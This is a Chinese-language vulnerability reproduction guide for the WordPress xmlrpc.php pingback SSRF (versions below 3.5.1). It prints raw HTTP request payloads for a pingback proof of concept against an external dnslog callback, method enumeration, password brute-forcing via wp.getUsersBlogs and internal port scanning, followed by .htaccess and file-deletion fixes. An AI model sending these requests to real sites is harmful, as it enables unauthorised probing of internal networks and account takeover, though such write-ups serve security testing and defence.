复现WordPress xmlrpc.php漏洞和SSRF的详细步骤

一、漏洞介绍

通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。

二、漏洞影响

WordPress 版本< 3.5.1

造成的影响
1、可以对业务内网进行探测。
2、攻击运行在内网或本地的应用程序(比如溢出攻击)。
3、利用file协议读取本地文件等

三、漏洞复现

第一步:直接访问这个文件,初步判断

复现WordPress xmlrpc.php漏洞和SSRF的详细步骤_第1张图片

第二步:发现POC验证数据包 

POST /xmlrpc.php HTTP/1.1
Host: www.目标.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 310
 

    
    pingback.ping
    
    http://g8o53x.dnslog.cn/
    http://www.目标.com/?p=1
    
    

发送数据包

复现WordPress xmlrpc.php漏洞和SSRF的详细步骤_第2张图片

验证成功 !

复现WordPress xmlrpc.php漏洞和SSRF的详细步骤_第3张图片

四、深入利用

(一)查看系统允许的方法

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99
......

system.listMethods

复现WordPress xmlrpc.php漏洞和SSRF的详细步骤_第4张图片

 (二)账号爆破

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99
......

wp.getUsersBlogs

admin
password

(三)通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99
.......

pingback.ping

要探测的ip和端口:http://127.0.0.1:80
要探测的URL

五、漏洞修复

(一)通过APACHE的.htaccess屏蔽xmlrpc.php文件的访问。配置代码如下:

# protect xmlrpc

Order Allow,Deny
Deny from all

(二)删除根目录下的xmlrpc.php。

到此这篇关于复现WordPress xmlrpc.php漏洞和SSRF的文章就介绍到这了,更多相关WordPress漏洞复现内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

你可能感兴趣的:(复现WordPress xmlrpc.php漏洞和SSRF的详细步骤)